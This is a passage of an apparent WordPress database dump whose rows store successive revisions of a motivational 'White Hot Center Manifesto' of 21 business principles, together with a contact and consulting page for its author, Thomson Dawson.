exceptions</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>say no often and mean it.</em></span>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>elevate everyone you come in contact with.</em></span>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the only method to experience abundance.</em></span>\r\n\r\n<strong>It’s my conviction these guiding principles will help you frame up the inner game that determines your own outer success. Like me, you may have incorporated elements of this philosophy in your personal and business life for years. If not, perhaps you’ll be inspired to gain a deeper level of understanding and mastery of these timeless principles and apply them daily to realize a quantum leap in your own inspired growth and business success. Facilitating your awareness and deeper understanding of these ideas is my life’s great work.</strong>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-07-06 13:03:23', '2009-07-06 20:03:23', '', 136, 'http://www.whitehotcenter.com/136-revision-14/', 0, 'revision', '', 0),
(373, 2, '2009-07-06 13:08:09', '2009-07-06 20:08:09', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. To make my passion for inspiring you toward greater levels of success more obvious, I want to share with you 21 guiding principles that form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in your life.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\nIn my 30-year entrepreneurial career in marketing and business communications, I have worked with hundreds of successful people in diverse businesses. I have consulted with top executives in global companies, and creative entrepreneurs in small start-ups alike.  I‘ve learned through my association with many of these successful people, that all of them consciously operate from a set of inner guiding principles that illuminates their journey and helps them stay the course towards their business goals and personal desires despite any physical evidence their success is being realized.\r\n<h2>1<span style="color: #ff6600;"> </span><strong> as you think, so it is</strong><span style="color: #ff6600;"><em></em></span><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>the essence of all creation begins with your thoughts.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, expect that it will be delivered to you</strong></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>never desire what you don’t expect to be, nor expect to be what you don’t desire.</em></span><span style="color: #ff6600;"> <strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> do what matters to you, and what you do must matter to others</strong><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>meaning + contribution = a life of significance.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>4  begin with what’s at hand</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>there is no shortage of supply, you are surrounded by potential and possibility.</em></span>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>forget the past, right now is what’s important.</em></span>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>do everything in an easy and relaxed manner.</em></span>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you believe is impossible</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>don’t be afraid to put your “dent in the universe”.</em></span>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>a compelling value proposition will elevate you from the slush pile</em>.</span>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the ultimate competitive advantage and the key to wealth.</em></span>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>get this reversed and it’s game over!</em></span>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>doing good things for people is good business.</em></span>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>It’s all about them not you.</em></span>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>follow your heart, there is no better alternative.</em></span>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>play aimlessly in your creative imagination.\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>discover your genius, develop you unique ability, delegate everything else.</em></span>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the world moves to fast for one mind-seek collaborators.</em></span>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>it will put you to sleep!</em></span>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>embrace risk like your lover.</em></span>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>say no often and mean it.</em></span>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>elevate everyone you come in contact with.</em></span>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the only method to experience abundance.</em></span>\r\n\r\n<strong>It’s my conviction these guiding principles will help you frame up the inner game that determines your own outer success. Like me, you may have incorporated elements of this philosophy in your personal and business life for years. If not, perhaps you’ll be inspired to gain a deeper level of understanding and mastery of these timeless principles and apply them daily to realize a quantum leap in your own inspired growth and business success. Facilitating your awareness and deeper understanding of these ideas is my life’s great work.</strong>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-07-06 13:08:09', '2009-07-06 20:08:09', '', 136, 'http://www.whitehotcenter.com/136-revision-15/', 0, 'revision', '', 0),
(374, 2, '2009-07-06 13:10:05', '2009-07-06 20:10:05', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. To make my passion for inspiring you toward greater levels of success more obvious, I want to share with you 21 guiding principles that form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in your life.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\nIn my 30-year entrepreneurial career in marketing and business communications, I have worked with hundreds of successful people in diverse businesses. I have consulted with top executives in global companies, and creative entrepreneurs in small start-ups alike.  I‘ve learned through my association with many of these successful people, that all of them consciously operate from a set of inner guiding principles that illuminates their journey and helps them stay the course towards their business goals and personal desires despite any physical evidence their success is being realized.\r\n<h2>1<span style="color: #ff6600;"> </span><strong> as you think, so it is</strong><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>the essence of all creation begins with your thoughts.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, expect that it will be delivered to you</strong></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>never desire what you don’t expect to be, nor expect to be what you don’t desire.</em></span><span style="color: #ff6600;"> <strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> do what matters to you, and what you do must matter to others</strong><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>meaning + contribution = a life of significance.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>4  begin with what’s at hand</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>there is no shortage of supply, you are surrounded by potential and possibility.</em></span>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>forget the past, right now is what’s important.</em></span>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>do everything in an easy and relaxed manner.</em></span>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you believe is impossible</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>don’t be afraid to put your “dent in the universe”.</em></span>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>a compelling value proposition will elevate you from the slush pile</em>.</span>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the ultimate competitive advantage and the key to wealth.</em></span>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>get this reversed and it’s game over!</em></span>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>doing good things for people is good business.</em></span>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>It’s all about them not you.</em></span>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>follow your heart, there is no better alternative.</em></span>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>play aimlessly in your creative imagination.\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>discover your genius, develop you unique ability, delegate everything else.</em></span>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the world moves to fast for one mind-seek collaborators.</em></span>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>it will put you to sleep!</em></span>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>embrace risk like your lover.</em></span>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>say no often and mean it.</em></span>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>elevate everyone you come in contact with.</em></span>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the only method to experience abundance.</em></span>\r\n\r\n<strong>It’s my conviction these guiding principles will help you frame up the inner game that determines your own outer success. Like me, you may have incorporated elements of this philosophy in your personal and business life for years. If not, perhaps you’ll be inspired to gain a deeper level of understanding and mastery of these timeless principles and apply them daily to realize a quantum leap in your own inspired growth and business success. Facilitating your awareness and deeper understanding of these ideas is my life’s great work.</strong>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-07-06 13:10:05', '2009-07-06 20:10:05', '', 136, 'http://www.whitehotcenter.com/136-revision-16/', 0, 'revision', '', 0),
(375, 1, '2009-07-01 20:52:59', '2009-07-02 03:52:59', '<img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" />\r\n<h2><span style="color: #ff6600;">One of the things about my life that I am most proud\r\nof is the fact that I live and work in a manner and place\r\nthat I love. For years, I would daydream about living and\r\nworking in a beautiful, natural environment. Nothing is\r\nmore comforting to my soul than living in an orange grove. I''m delighted to share the view with you, and remind you that you can create in the physical world whatever you daydream about in the formless world of your imagination.</span></h2>\r\n<strong>To contact me:</strong>\r\n\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\n1015 West El Roblar Drive\r\nOjai, California 93203 USA\r\nt 805 640 3920</strong>\r\n\r\n<strong>Speaking gigs</strong>:\r\n\r\n<span style="color: #ff6600;"><strong>I am available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some of my talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having me on the bill at one of your events, just send me an email with your specifics, we can go from there.</strong></span>\r\n\r\n<strong>Consulting gigs:</strong>\r\n\r\n<strong><span style="color: #ff6600;">I also advise corporations, organizations, individual creative entrepreneurs, design firm principals, professionals and small business owners on marketing, positioning, branding, business and professional development. The depth and duration of these engagements varies depending on your needs and my availability. As a start, try arranging for a “Power Session” with me where we can riff on your current concerns, big ideas and visions for your future.  Click the Power Session banner to the right. Remember, the nature of my consulting work is weighted to the inner game of business and life success. If you need help sifting through quantitative or qualitative data, or motivating people to fill out time sheets, I’m not the guy. On the other hand, if you have ideas for your bigger, better future you’d like to gain more clarity and conviction on, just send me a note via my email link and I’ll promptly reply.</span></strong>', 'Contact Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2009-07-01 20:52:59', '2009-07-02 03:52:59', '', 143, 'http://www.whitehotcenter.com/143-revision-18/', 0, 'revision', '', 0);
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(376, 2, '2009-07-06 13:22:41', '2009-07-06 20:22:41', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. To make my passion for inspiring you toward greater levels of success more obvious, I want to share with you 21 guiding principles that form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in your life.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\nIn my 30-year entrepreneurial career in marketing and business communications, I have worked with hundreds of successful people in diverse businesses. I have consulted with top executives in global companies, and creative entrepreneurs in small start-ups alike.  I‘ve learned through my association with many of these successful people, that all of them consciously operate from a set of inner guiding principles that illuminates their journey and helps them stay the course towards their business goals and personal desires despite any physical evidence their success is being realized. Think about these ideas:\r\n<h2>1<span style="color: #ff6600;"> </span><strong> as you think, so it is</strong><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>the essence of all creation begins with your thoughts.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, expect that it will be delivered to you</strong></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>never desire what you don’t expect to be, nor expect to be what you don’t desire.</em></span><span style="color: #ff6600;"> <strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> do what matters to you, and what you do must matter to others</strong><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>meaning + contribution = a life of significance.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>4  begin with what’s at hand</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>there is no shortage of supply, you are surrounded by potential and possibility.</em></span>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>forget the past, right now is what’s important.</em></span>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>do everything in an easy and relaxed manner.</em></span>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you believe is impossible</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>don’t be afraid to put your “dent in the universe”.</em></span>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>a compelling value proposition will elevate you from the slush pile</em>.</span>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the ultimate competitive advantage and the key to wealth.</em></span>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>get this reversed and it’s game over!</em></span>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>doing good things for people is good business.</em></span>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>It’s all about them not you.</em></span>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>follow your heart, there is no better alternative.</em></span>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>play aimlessly in your creative imagination.\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>discover your genius, develop you unique ability, delegate everything else.</em></span>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the world moves to fast for one mind-seek collaborators.</em></span>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>it will put you to sleep!</em></span>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>embrace risk like your lover.</em></span>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>say no often and mean it.</em></span>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>elevate everyone you come in contact with.</em></span>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the only method to experience abundance.</em></span>\r\n\r\n<strong>It’s my conviction these guiding principles will help you frame up the inner game that determines your own outer success. Like me, you may have incorporated elements of this philosophy in your personal and business life for years. If not, perhaps you’ll be inspired to gain a deeper level of understanding and mastery of these timeless principles and apply them daily to realize a quantum leap in your own inspired growth and business success. Facilitating your awareness and deeper understanding of these ideas is my life’s great work.</strong>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-07-06 13:22:41', '2009-07-06 20:22:41', '', 136, 'http://www.whitehotcenter.com/136-revision-17/', 0, 'revision', '', 0),
(377, 2, '2009-07-06 14:39:39', '2009-07-06 21:39:39', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. To make my passion for inspiring you toward greater levels of success more obvious, I want to share with you 21 guiding principles that form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in your life.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\nIn my 30-year entrepreneurial career in marketing and business communications, I have worked with hundreds of successful people in diverse businesses. I have consulted with top executives in global companies, and creative entrepreneurs in small start-ups alike.  I‘ve learned through my association with many of these successful people, that all of them consciously operate from a set of inner guiding principles that illuminates their journey and helps them stay the course towards their business goals and personal desires despite any physical evidence their success is being realized. Think about these ideas:\r\n<h2>1<span style="color: #ff6600;"> </span><strong> as you think, so it is</strong><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>the essence of all creation begins with your thoughts.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, expect that it will be delivered to you</strong></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>never desire what you don’t expect to be, nor expect to be what you don’t desire.</em></span><span style="color: #ff6600;"> <strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> do what matters to you, and what you do must matter to others</strong><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>meaning + contribution = a life of significance.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>4  begin with what’s at hand</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>there is no shortage of supply, you are at all times surrounded by potential and possibility.</em></span>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>forget the past, right now is what’s important.</em></span>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>do everything in an easy and relaxed manner.</em></span>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you believe is impossible</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>don’t be afraid to put your own “dent in the universe”.</em></span>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>a compelling value proposition will elevate you from the slush pile</em>.</span>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the ultimate competitive advantage and the key to wealth.</em></span>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>get this reversed and it’s game over!</em></span>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>doing good things for people is good business.</em></span>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>It’s all about them not you.</em></span>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>follow your heart, there is no better alternative.</em></span>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>play aimlessly in your creative imagination.\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>discover your genius, develop you unique ability, delegate everything else.</em></span>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the world moves to fast for one mind-seek collaborators.</em></span>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>it will put you to sleep!</em></span>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>embrace risk like your lover.</em></span>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>say no often and mean it.</em></span>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>elevate everyone you come in contact with.</em></span>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the only method to experience abundance.</em></span>\r\n\r\n<strong>It’s my conviction these guiding principles will help you frame up the inner game that determines your own outer success. Like me, you may have incorporated elements of this philosophy in your personal and business life for years. If not, perhaps you’ll be inspired to gain a deeper level of understanding and mastery of these timeless principles and apply them daily to realize a quantum leap in your own inspired growth and business success. Facilitating your awareness and deeper understanding of these ideas is my life’s great work.</strong>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-07-06 14:39:39', '2009-07-06 21:39:39', '', 136, 'http://www.whitehotcenter.com/136-revision-18/', 0, 'revision', '', 0),
(378, 2, '2009-07-06 14:41:44', '2009-07-06 21:41:44', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. To make my passion for inspiring you toward greater levels of success more obvious, I want to share with you 21 guiding principles that form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in your life.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\nIn my 30-year entrepreneurial career in marketing and business communications, I have worked with hundreds of successful people in diverse businesses. I have consulted with top executives in global companies, and creative entrepreneurs in small start-ups alike.  I‘ve learned through my association with many of these successful people, that all of them consciously operate from a set of inner guiding principles that illuminates their journey and helps them stay the course towards their business goals and personal desires despite any physical evidence their success is being realized. Think about these ideas:\r\n<h2>1<span style="color: #ff6600;"> </span><strong> as you think, so it is</strong><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>the essence of all creation begins with your thoughts.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>never desire what you don’t expect to be, nor expect to be what you don’t desire.</em></span><span style="color: #ff6600;"> <strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> you must do what matters to you, and what you do must matter to others</strong><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>meaning + 